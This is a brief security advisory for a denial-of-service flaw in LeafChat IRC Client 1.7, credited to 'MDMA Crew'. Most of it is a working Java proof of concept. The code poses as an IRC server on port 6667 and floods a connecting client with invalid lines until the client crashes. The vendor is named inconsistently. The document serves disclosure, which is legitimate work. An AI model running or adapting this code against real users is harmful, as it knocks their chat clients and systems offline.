Skip navigation

LeafChat IRC Client Subject to DoS

 
LeafChat IRC Client Subject to DoS
Reported June 25 by
MDMA Crew

VERSIONS EFFECTED
  • L
eafChat IRC Client 1.7

DESCRIPTION

If an invalid response is sent to chat client, the client will stop responding.

DEMONSTRATION

/* The MDMA Crew"s Proof-of-concept code for the DoS affecting LeafChat
*
* When the LeafChat IRC client recieves invalid data from the server, it
* displays a dialog box with an error message. Should the server rapidly
* send invalid messages, the system soon becomes dangerously low in
* resources and commits harikiri. :-)
*
* Vendor Info: www.leafdigital.com/Software/leafChat
* Crew Info: www.mdma.za.net || [email protected]
*/

import java.io.*;
import java.net.*;

class leafMeAlone \{

// Line below will have to be changed for Microsoft"s Java VM - oops ;P
static void main(String\[\] args) throws IOException, UnknownHostException \{

  ServerSocket shervshoq = null;
  PrintWriter white = null;
  Socket shmoeshoq = null;

  shervshoq = new ServerSocket(6667);
  System.out.print("Now listening on Port 6667... ");

  try \{
     shmoeshoq = shervshoq.accept();
     white = new PrintWriter(shmoeshoq.getOutputStream(), true);
  \} catch (IOException e) \{
     System.out.println("Errors accepting connection, y0");
     System.exit(1); \}

  System.out.print("Connection recieved\nCrashing client... ");
  for (;;) \{
     white.println(".");
     if (white.checkError()) \{
     System.out.println("Crashed");
     break; \} \} \} \}

VENDOR RESPONSE

The vendor, Fortech, is aware of this matter and however no response was known at the time of this writing.

CREDITS
Discovered and reported by MDMA Crew

Hide comments

Comments

  • Allowed HTML tags: <em> <strong> <blockquote> <br> <p>

Plain text

  • No HTML tags allowed.
  • Web page addresses and e-mail addresses turn into links automatically.
  • Lines and paragraphs break automatically.
Publish